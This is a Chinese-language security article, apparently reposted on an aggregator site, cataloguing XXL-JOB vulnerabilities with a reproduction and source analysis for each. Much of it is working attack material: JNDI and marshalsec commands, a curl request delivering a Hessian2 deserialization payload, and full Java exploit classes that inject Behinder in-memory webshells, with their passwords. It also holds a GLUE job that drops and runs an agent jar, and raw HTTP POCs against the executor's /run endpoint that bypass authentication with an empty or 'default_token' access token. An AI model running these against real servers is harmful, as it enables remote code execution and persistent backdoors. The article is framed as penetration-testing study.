XXL-JOB 漏洞大全

news2024/9/20 20:27:39

一、前言

在当今的数字化时代，任务调度平台对于企业级应用来说至关重要。它们负责自动化和协调各种时间敏感或周期性的任务，确保业务流程的顺畅运行。XXL-JOB作为一款流行的分布式任务调度平台，因其强大的功能和易用性，被广泛部署在各种规模的系统中。然而，随着其应用的普及，安全研究人员开始关注这些系统可能存在的潜在风险，一个漏洞的发现可能会导致数据泄露、服务中断甚至整个系统被控制。对于渗透测试人员来说，学习XXL-JOB的漏洞原理，能够在一定程度上提升渗透能力。

本篇文章旨在详细介绍XXL-JOB平台中已被发现的一些关键漏洞，以及这些漏洞可能被利用的方式。

二、XXL-JOB简介

2.1 概述

XXL-JOB是一个开源的分布式任务调度平台，设计宗旨是实现任务的快速开发、简易学习和轻量级部署，同时具备良好的扩展性。该平台由调度中心和管理执行器的两部分组成，它们通过网络进行通信，实现任务的调度和执行。调度中心负责任务的发起和调度策略的配置，而执行器则负责接收任务请求并执行具体的业务逻辑。

通俗的来说，XXL-JOB就像一个超级强大的闹钟，但它不仅仅能设定固定的时间响铃，还能根据复杂的规则和条件来触发任务。想象一下，你有一个任务需要每天早上8点执行，另外一个任务需要在每月的第1天晚上12点执行，还有任务是基于某些特定事件触发的，比如数据库中的数据达到一定量时。

2.2 特点

XXL-JOB就像一个智能助手，它可以帮你设定这些任务，并且确保它们在正确的时间得到执行。它有以下几个关键特点：

  • 容器化：提供官方docker镜像，并实时更新推送dockerhub，进一步实现产品开箱即用。

  • 脚本任务：支持以GLUE模式开发和运行脚本任务，包括Shell、Python、NodeJS、PHP、PowerShell等类型脚本。

  • 动态：支持动态修改任务状态、启动/停止任务，以及终止运行中任务，即时生效。

  • Rolling实时日志：支持在线查看调度结果，并且支持以Rolling方式实时查看执行器输出的完整的执行日志。

三、XXL-JOB搭建

搭建可参考官方文档：

分布式任务调度平台XXL-JOB

源码结构：

Plain Text
xxl-job-admin：调度中心
xxl-job-core：公共依赖
xxl-job-executor-samples：执行器Sample示例（选择合适的版本执行器，可直接使用，也可以参考其并将现有项目改造成执行器）    
    ：xxl-job-executor-sample-springboot：Springboot版本，通过Springboot管理执行器，推荐这种方式；   
    ：xxl-job-executor-sample-frameless：无框架版本；

这里我采用docker进行搭建，可参考：基于docker的分布式任务调度系统xxl-job搭建，注意这里我们搭建有漏洞的版本，我这里搭建的是2.0.2版本。

docker启动涉及到的命令如下：

Bash
# 安装mysql
docker pull mysql

# 启动mysql
docker run -e MYSQL_ROOT_PASSWORD=123456  -p 3306:3306  -v /opt:/opt mysql  --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci

# 修改密码
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456';

# 刷新权限
flush privileges;

# 创建数据库
CREATE database if NOT EXISTS xxl_job default character set utf8 collate utf8_general_ci;

# 导入sql文件
source /opt/xxl-job-2.4.0/doc/db/tables_xxl_job.sql;

# 下载镜像
docker pull xuxueli/xxl-job-admin:2.0.2

# 启动镜像
docker run -e PARAMS="--spring.datasource.url=jdbc:mysql://192.168.2.198:3306/xxl_job?Unicode=true&characterEncoding=UTF-8 --spring.datasource.username=root --spring.datasource.password=123456" -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin xuxueli/xxl-job-admin:2.0.2

搭建成功，显示如下：

访问 http://ip:port/xxl-job-admin/

四、XXL-JOB漏洞复现与分析

4.1 默认口令

4.2 Hessian反序列化

4.2.1 漏洞复现

 4.2.1.1 出网利用

     影响版本：XXL-JOB <= 2.0.2

    漏洞原理：/api接口存在Hessian2反序列化漏洞

    漏洞复现：

    访问/api接口存在如下报错响应，则存在漏洞。

这里测试使用的是jdk11，所以需要bypass高版本的限制，这里启动JNDI服务：

Bash
# 工具地址：https://github.com/welk1n/JNDI-Injection-Exploit，可bypass jdk高本版限制
java -jar JNDI-Injection-Exploit-1.0-welk1n.jar -A 0.0.0.0 -C "ping xmm0yh.dnslog.cn"

 生成恶意序列化数据：

Bash
# 工具地址：https://github.com/mbechler/marshalsec，有Hessian的利用链
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/kt17tn > 1.ser

 burp发送有问题，这里使用curl发送：

Bash
curl -XPOST --data-binary @1.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"

命令执行成功：

4.2.1.2 不出网利用

通过jdk原生 SwingLazyValue利用链，可以达到反射调用静态方法。测试jdk1.8成功，jdk9版本开始，删除了rt.jar，下面测试注入内存马。

方式一：defineClass加载字节码

调用Unsafe#defineClass方法来加载字节码，实现内存马注入，使用JMG工具（GitHub - pen4uin/java-memshell-generator: 一款支持自定义的 Java 内存马生成工具｜A customizable Java in-memory webshell generation tool.）生成内存马，代码参考：探寻Hessian JDK原生反序列化不出网的任意代码执行利用链 – Whwlsfb's Tech Blog

代码需要修改的地方有：

  • bcode的值为生成的BASE64格式的内存马

  • 注入的类名

Java
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;

import javax.swing.;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.HashMap;
import java.util.Hashtable;

public class hessian_demo_main {
    static SerializerFactory serializerFactory = new SerializerFactory();
    static byte[] bcode;

    static {
        try {
            // 修改下面bcode为实际生成的BASE64格式的内存马
            bcode = Base64.decode("yv66vg...AAAAAgCi");
        } catch (Base64DecodingException e) {
            throw new RuntimeException(e);
        }
    }

    public static void main(String[] args) throws Exception {
        serializerFactory.setAllowNonSerializable(true);
        Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
        Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
        Field f = Unsafe.class.getDeclaredField("theUnsafe");
        f.setAccessible(true);
        Object unsafe = f.get(null);
        // 修改下面HttpClientUtil为实际生成内存马的类名
        Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"HttpClientUtil", bcode, 0, bcode.length, null, null}}};
        // 修改下面HttpClientUtil为实际生成内存马的类名
        SwingLazyValue swingLazyValue1 = new SwingLazyValue("HttpClientUtil", null, new Object[0]);
        SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);
        Object[] keyValueList = new Object[]{"abc", swingLazyValue};
        Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};
        UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
        UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
        Hashtable<Object, Object> hashtable1 = new Hashtable<>();
        Hashtable<Object, Object> hashtable2 = new Hashtable<>();
        Hashtable<Object, Object> hashtable3 = new Hashtable<>();
        Hashtable<Object, Object> hashtable4 = new Hashtable<>();
        hashtable1.put("a", uiDefaults1);
        hashtable2.put("a", uiDefaults2);
        hashtable3.put("b", uiDefaults3);
        hashtable4.put("b", uiDefaults4);
        serObj(hashtable1, hashtable2, hashtable3, hashtable4);
        readObj();
    }

    static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 4);
        Class<?> nodeC;
        try {
*            nodeC = Class.forName("java.util.HashMap**$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$*Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 4);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
        Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
        Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
        Reflections.setFieldValue(s, "table", tbl);
        Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(s);
        hessian2Output.close();
    }

    static void readObj() throws Exception {
        Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
        hessian2Input.readObject();
    }
}

 再通过curl发包即可：

Bash
curl -XPOST --data-binary @hessian.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"

这里注入的是冰蝎listener内存马：

密码: Igzafarqnx

请求路径: /

请求头: Referer: Vhmeexb

方法二：XSLT触发defineClass加载字节码

代码参考：SwingLazyValue在WebShell下的利用 -

修改两个地方：

  • base64_payload为要注入的BASE64格式的内存马

  • class_name为注入的类名

Java
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;

import static com.qt.test.hessian_demo_main.serializerFactory;

public class hessian_demo_two {
    public static void main(String[] args) throws Exception {
        String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
                "xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
                "xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
                "xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
                "xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
                ">\n" +
                "    <xsl:template match=\"/\">\n" +
                "      <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'base64_payload')\"/>\n" +
                "      <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
                "      <xsl:variable name=\"rce\" select=\"ru:defineClass('class_name',$bs,$cl)\"/>\n" +
                "      <xsl:value-of select=\"$rce\"/>\n" +
                "    </xsl:template>\n" +
                "  </xsl:stylesheet>";

        String base64Code = "yv66vg...AAAAAgCi";
        serializerFactory.setAllowNonSerializable(true);
        String xslt = xsltTemplate.replace("base64_payload", base64Code).replace("class_name", "HttpClientUtil");
        SwingLazyValue value1 = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"E:/SecCode/Test/Test/xslt_temp", xslt.getBytes()});
        SwingLazyValue value2 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///E:/SecCode/Test/Test/xslt_temp"}});

        Object[] keyValueList = new Object[]{"abc", value1};
        Object[] keyValueList1 = new Object[]{"ccc", value2};
        UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
        UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
        UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
        Hashtable<Object, Object> hashtable1 = new Hashtable<>();
        Hashtable<Object, Object> hashtable2 = new Hashtable<>();
        Hashtable<Object, Object> hashtable3 = new Hashtable<>();
        Hashtable<Object, Object> hashtable4 = new Hashtable<>();
        hashtable1.put("a", uiDefaults1);
        hashtable2.put("a", uiDefaults2);
        hashtable3.put("b", uiDefaults3);
        hashtable4.put("b", uiDefaults4);
        serObj(hashtable1, hashtable2, hashtable3, hashtable4);
         readObj();
    }
    static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 4);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 4);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
        Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
        Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
        Reflections.setFieldValue(s, "table", tbl);
        Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
        hessian2Output.setSerializerFactory(serializerFactory);
        hessian2Output.writeObject(s);
        hessian2Output.close();
    }

    static void readObj() throws Exception {
        Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
        hessian2Input.readObject();
    }
}

环境：jdk1.8，这里注入的是冰蝎listener内存马：

密码: Igzafarqnx

请求路径: /*

请求头: Referer: Vhmeexb

 

4.2.2 漏洞分析

找到触发/api路由的方法，位于com.xxl.job.admin.controller.JobApiController#api。

进入com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService。

进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle。

进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest，其中readBytes(request)方法获取请求体的数据，然后传入com.xxl.rpc.serialize.impl.HessianSerializer#deserialize。

下面就是Hessian2反序列化的流程：

4.3 后台命令执行

4.3.1 漏洞复现

测试环境：2.1.2（2.0.2版本powershell脚本测试执行失败），需要启动执行器，新增一个powershell脚本任务：

添加完成后，编辑GLUE，插入要执行的命令。

点击执行一次，然后点击查询调度日志，执行命令的结果在日志中。

4.3.1.1 出网利用

一般考虑反弹shell或者上线cs。

4.3.1.2 不出网利用

考虑注入一个java agent内存马，因为没有上传点，需要写一个agent马进去，测试环境：jdk1.8，先准备好agent内存马，然后将其base64编码后分割再拼接：

Java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;

public class Base64FileSplit {
    public static void main(String[] args) {
        File file = new File("E:\\Agent-1.0.jar");
        FileOutputStream fos = null;
        try {
            fos = new FileOutputStream("split_base64_output.txt");
            byte[] buffer = new byte[1000]; // 缓冲区大小为1000个字符
            int bytesRead;
            // 读取文件并转换为Base64字符串
            FileInputStream fis = new FileInputStream(file);
            byte[] fileContent = new byte[(int) file.length()];
            fis.read(fileContent);
            String base64String = Base64.getEncoder().encodeToString(fileContent);
            // 分割Base64字符串并写入到文件
            for (int i = 0; i < base64String.length(); i += 1000) {
                String line = "sb.append(\"" + base64String.substring(i, Math.min(i + 1000, base64String.length())) + "\");";
                fos.write(line.getBytes());
                fos.write("\n".getBytes());
            }
            System.out.println("Base64字符串已成功分割并写入到文件中.");
        } catch (IOException e) {
            e.printStackTrace();
        } finally {
            if (fos != null) {
                try {
                    fos.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

生成拼接的字符串。

添加一个java脚本的任务，再编辑代码。

修改代码为如下：

Java
package com.xxl.job.service.handler;

import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
import java.io.*;
import java.util.Base64;

public class DemoGlueJobHandler extends IJobHandler {

        @Override
        public ReturnT<String> execute(String param) throws Exception {
                saveJarAndEx();
                return ReturnT.SUCCESS;
        }
  public static void saveJarAndEx() {
        StringBuilder sb = new StringBuilder();
        // 拼接的base64字符串
      sb.append("UEsDBAoAAAAAANwVPlgAAAAAAAAA...");
        ...
        ....
        ...
 sb.append("...DQAAAA==");
 // Base64解码
        String base64String = sb.toString();
        byte[] decodedBytes = Base64.getDecoder().decode(base64String);
        // 保存agent jar
        File jarFile = new File("test1.jar");
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(jarFile);
            fileOutputStream.write(decodedBytes);
            fileOutputStream.close();
            // 执行jar
            ProcessBuilder processBuilder = new ProcessBuilder("java", "-jar", "test1.jar");
            Process process = processBuilder.start();
            InputStream inputStream = process.getInputStream();
            BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
        } catch (FileNotFoundException e) {
            throw new RuntimeException(e);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

执行任务，就可在控制台中看到注入成功。

冰蝎连接：

  4.3.2 漏洞分析 

执行任务的路由为：/jobinfo/trigger，对应的源码为：com.xxl.job.admin.controller.JobInfoController#triggerJob。

调用com.xxl.job.admin.core.trigger.XxlJobTrigger#trigger。

调用processTrigger方法：

调用com.xxl.job.admin.core.trigger.XxlJobTrigger#runExecutor。

这里获取执行器（9999端口启动的），并委托ExecutorBiz执行run方法。

反射调用run方法。

com.xxl.job.core.biz.impl.ExecutorBizImpl#run方法判断glueTypeEnum的值，这里传入的是powershell，进入到如下if，初始化一个ScriptJobHandler，并放入到队列中。

接着通过任务线程执行handler：com.xxl.job.core.handler.impl.ScriptJobHandler#execute，在execute方法中，会将要执行的powershell脚本内容保存到一个后缀psl的文件中，并传入ScriptUtil#execToFile方法中。

在com.xxl.job.core.util.ScriptUtil#execToFile中通过Runtime exec执行powershell文件。

其他执行方式如：shell，java同理，根据传入的glueTypeEnum获取到对应的JobHandler。

4.4 Executor未授权命令执行 

4.4.1 漏洞复现

影响版本：XXL-JOB <= 2.2.0

漏洞原理：/run接口触发执行器执行脚本，acessToken为空绕过鉴权。

漏洞复现：

Executor默认是监听在9999端口，和后台执行任务导致的命令执行一样，只不过这里直接未授权请求Executor去触发脚本执行，测试版本：2.2.0，通过powershell执行。

POC：

Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
Content-Length: 311

{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}

4.4.2 漏洞分析

在com.xxl.job.core.server.EmbedServer.EmbedHttpServerHandler#process方法中校验请求包中的accessToken，由于在 <= 2.2.0时，accessToken值默认为空，所以accessToken.trim().length() > 0为false，即绕过认证。

和后台通过执行任务造成的命令执行原理一样。

4.5 默认accessToken身份绕过

4.5.1 漏洞复现

影响版本：XXL-JOB <= 2.4.0

漏洞原理：用于调度通讯的 accessToken 为默认值default_token。

漏洞复现：

添加请求头，直接通过/run接口触发命令执行：

POC：

Java
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 311

{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}

4.5.2 漏洞分析

token校验的时候获取请求头的XXL-JOB-ACCESS-TOKEN的值，和配置文件的默认accessToken 值default_token进行对比。

4.6 后台SSRF

4.6.1 漏洞复现

影响版本：XXL-JOB <= 2.3.1

漏洞原理：查看执行日志/joblog/logDetailCat接口时，会携带accessToken向执行器地址发送请求，可以通过低权限用户发送日志查看的数据包，获取accessToken，再利用accessToken去触发/run接口的命令执行。

漏洞复现：

修改executorAddress：

通过nc监听请求包，可在请求头中获取accessToken。

4.6.2 漏洞分析

在获取执行器的代码com.xxl.job.admin.core.scheduler.XxlJobScheduler#getExecutorBiz方法中，会将传入的address和配置文件中的accessToken实例化返回executorBiz，供后续发起请求。

在2.4.0版本中直接获取执行器的地址，无法利用。

参考

探寻Hessian JDK原生反序列化不出网的任意代码执行利用链 – Whwlsfb's Tech Blog

SwingLazyValue在WebShell下的利用 -

基于docker的分布式任务调度系统xxl-job搭建_xxl-job docker-CSDN博客

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2149988.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

【4.3】图搜索算法-DFS和BFS解被围绕的区域

【4.3】图搜索算法-DFS和BFS解被围绕的区域

一、题目 给定一个二维的矩阵&#xff0c;包含 X 和 O &#xff08; 字母 O &#xff09;。 找到所有被 X 围绕的区域&#xff0c;并将这些区域里所有的 O 用 X 填充。 示例 : X X X X X O O X X X O X X O X X 运行你的函数后&#xff0c;矩阵变为…
阅读更多...
uniapp H5 打开地图 并选中标记点

uniapp H5 打开地图 并选中标记点

uniapp H5 打开地图 并选中标记点 先上代码 //打开地图 显示景区位置openMap() {// 支付宝// #ifdef MP-ALIPAYmy.openLocation({longitude: Number(this.detailObj.longitude), // 经度latitude: Number(this.detailObj.latitude), // 纬度name: this.detailObj.scenicName, …
阅读更多...
C++速通LeetCode中等第10题-轮转数组（四种方法）

C++速通LeetCode中等第10题-轮转数组（四种方法）

方法一&#xff1a;巧用deque双向队列容器 class Solution { public:void rotate(vector<int>& nums, int k) {deque<int> q;int tmp;if(nums.size() > 1){for(auto num:nums) q.push_back(num);for(int i 0;i < k;i){tmp q.back();q.pop_back();q.pu…
阅读更多...
dgl库安装

dgl库安装

此篇文章继续上一篇pytorch已经安装成功的情况 &#xff08;python3.9&#xff0c;pytorch2.2.2&#xff0c;cuda11.8&#xff09; 上一篇pytorch安装教学链接 选择与之匹配的版本 输入下方代码进行测试 import dgl.data dataset dgl.data.CoraGraphDataset() print(‘Numb…
阅读更多...
24 小时不关机的挂机云电脑，还能这么玩？

24 小时不关机的挂机云电脑，还能这么玩？

云电脑技术为我们提供了无限可能。特别是对于游戏爱好者&#xff0c;挂机云电脑不仅解决了传统电脑的局限性&#xff0c;还带来了更为便利的游戏体验。除此之外云电脑还有什么其他玩法呢&#xff1f; 01 挂机云电脑的优势 首先要知道&#xff0c;什么是挂机云电脑&#xff1f…
阅读更多...
局域网变压器市场价值

局域网变压器市场价值

2024 年全球局域网变压器市场价值为 3.056 亿美元&#xff0c;预计到 2030 年将达到 4.426 亿美元&#xff0c;2024-2030 年的复合年增长率为 5.4%。 局域网变压器市场包括用于改变电信号电压或格式的产品&#xff0c;以改善和简化局域网 (LAN) 上的数据传输。这些变压器对于保…
阅读更多...
【JavaScript】数据结构之链表（双指针、滑动窗口）

【JavaScript】数据结构之链表（双指针、滑动窗口）

什么是链表&#xff1f; 多个元素存储的列表链表中的元素在内存中不是顺序存储的&#xff0c;而是通过“next”指针联系在一起的&#xff0c;这个“next”可以自定义。JS中的原型链原理就是链表结构&#xff0c;是通过__proto__指针联系在一起的。 双指针形式 对撞指针&am…
阅读更多...
分布式事务一致性：本地消息表设计与实践

分布式事务一致性：本地消息表设计与实践

概念 本地消息表是一种常见的解决分布式事务问题的方法。其核心思想是将分布式事务拆分成本地事务来处理&#xff0c;通过消息队列来保证各个本地事务的最终一致性。 实现步骤 创建本地消息表&#xff1a;在数据库中创建一个本地消息表&#xff0c;用于存储待发送的消息以及消…
阅读更多...
【图像检索】基于灰度共生矩的纹理图像检索，matlab实现

【图像检索】基于灰度共生矩的纹理图像检索，matlab实现

博主简介&#xff1a;matlab图像代码项目合作&#xff08;扣扣&#xff1a;3249726188&#xff09; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 本次案例是基于灰度共生矩的纹理图像检索&#xff0c;用matlab实现。 一、案例背景和算法介绍 …
阅读更多...
从“群聊”到“一单到底”，天润融通工单系统助力品牌服务升级

从“群聊”到“一单到底”，天润融通工单系统助力品牌服务升级

“您好&#xff0c;我在xx店买的酸奶出现了质量问题&#xff0c;怎么处理&#xff1f;” “你们xx门店的服务态度怎么那么差啊&#xff0c;我要投诉&#xff01;” “您好&#xff0c;xx店的微波炉总是坏的&#xff0c;店员根本不管&#xff01;” 这些耳熟能详的抱怨&#…
阅读更多...
【qt】一个WPS项目了解qt界面设计的基本套路

【qt】一个WPS项目了解qt界面设计的基本套路

项目功能演示: 放心食用!最后有完整代码. 超级详细,期待您的一个点赞❥(^_-) 一览全局: WPS项目目录 一.创建项目二.导入资源三.ui设计四.字号选择框初始化五.滚动条初始化六.添加自定义文本类七.初始化action状态八.新建文档九.打开文件十.保存与另存为十一.打印/打印预览十…
阅读更多...
MySQL高阶1867-最大数量高于平均水平的订单

MySQL高阶1867-最大数量高于平均水平的订单

目录 题目 准备数据 分析数据 题目 您正在运行一个电子商务网站&#xff0c;该网站正在寻找不平衡的订单。不平衡订单的订单最大数量严格大于每个订单&#xff08;包括订单本身&#xff09;的平均数量。 订单的平均数量计算为&#xff08;订单中所有产品的总数量&#xff…
阅读更多...
visionpro脚本

visionpro脚本

visionproToolBlock的脚本的优先级优于工具连线的优先级&#xff0c;一般是照着脚本的执行顺序进行执行对应的工具&#xff0c;最常用的是C#的高级脚本&#xff0c;C#的脚本如下分为5部分。 第一部分&#xff1a;主要是一些库的引用&#xff0c;对于有些类型不知道库的时候&…
阅读更多...
14_Python面向对象

14_Python面向对象

面向过程与面向对象 在编程范式&#xff08;programming paradigms&#xff09;中&#xff0c;面向过程&#xff08;Procedural Programming&#xff09;和面向对象&#xff08;Object-Oriented Programming&#xff0c;简称OOP&#xff09;是两种主要的编程风格。 Python是一…
阅读更多...
【医学半监督】置信度指导遮蔽学习的半监督医学图像分割

【医学半监督】置信度指导遮蔽学习的半监督医学图像分割

摘要： 半监督学习（Semi-supervised learning）旨在利用少数标记数据和多数未标记数据训练出高性能模型。现有方法大多采用预测任务机制，在一致性或伪标签的约束下获得精确的分割图，但该机制通常无法克服确认偏差。针对这一问题，本文提出了一种用于半监督医学图像分割的新…
阅读更多...
（十六）Ubuntu 20.04 下搭建PX4+MATLAB 仿真环境（HITL）

（十六）Ubuntu 20.04 下搭建PX4+MATLAB 仿真环境（HITL）

在文章&#xff08;十五&#xff09;Ubuntu 20.04 下搭建PX4MATLAB 仿真环境我们学习了如何配置仿真环境&#xff0c;在本节&#xff0c;主要进行HITL的仿真环境搭建。 根据&#xff08;十五&#xff09;Ubuntu 20.04 下搭建PX4MATLAB 仿真环境完成配置到如下界面&#xff1a;…
阅读更多...
志邦家居CIO吴俊涛谈转型：天润融通如何赋能家居行业未来

志邦家居CIO吴俊涛谈转型：天润融通如何赋能家居行业未来

根据国家统计局、住建部等各部门综合数据显示&#xff0c;2024年国内泛家居全渠道销售额在预计将超过4.7万亿元&#xff0c;并且在存量房需求释放与智能家居品类创新的推动下&#xff0c;预计2027年将突破5.3万亿元&#xff0c;展现出强劲的增长弹性。 然而&#xff0c;家居行…
阅读更多...
【matlab】将程序打包为exe文件（matlab r2023a为例）

【matlab】将程序打包为exe文件（matlab r2023a为例）

文章目录 一、安装运行时环境1.1 安装1.2 简介 二、打包三、打包文件为什么很大 一、安装运行时环境 使用 Application Compiler 来将程序打包为exe&#xff0c;相当于你使用C编译器把C语言编译成可执行程序。 在matlab菜单栏–App下面可以看到Application Compiler。 或者在…
阅读更多...
mybatisplus逻辑删除

mybatisplus逻辑删除

逻辑删除配置 mybatis-plus:global-config:db-config:logic-delete-field: deletedlogic-not-delete-value:0logic-delete-value:1 查询语句也会自动加上where isdeleted0
阅读更多...
FedOV

FedOV

3 FEDOV: ONE-SHOT FEDERATED OPEN-SET VOTING FRAMEWORK 3.1 PROBLEM STATEMENT 假设有个客户端及其本地数据集。我们的目标是在服务器的帮助下&#xff0c;在不交换原始数据的情况下&#xff0c;训练一个优秀的机器学习模型 。此外&#xff0c;每个客户端只允许与服务器进行…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023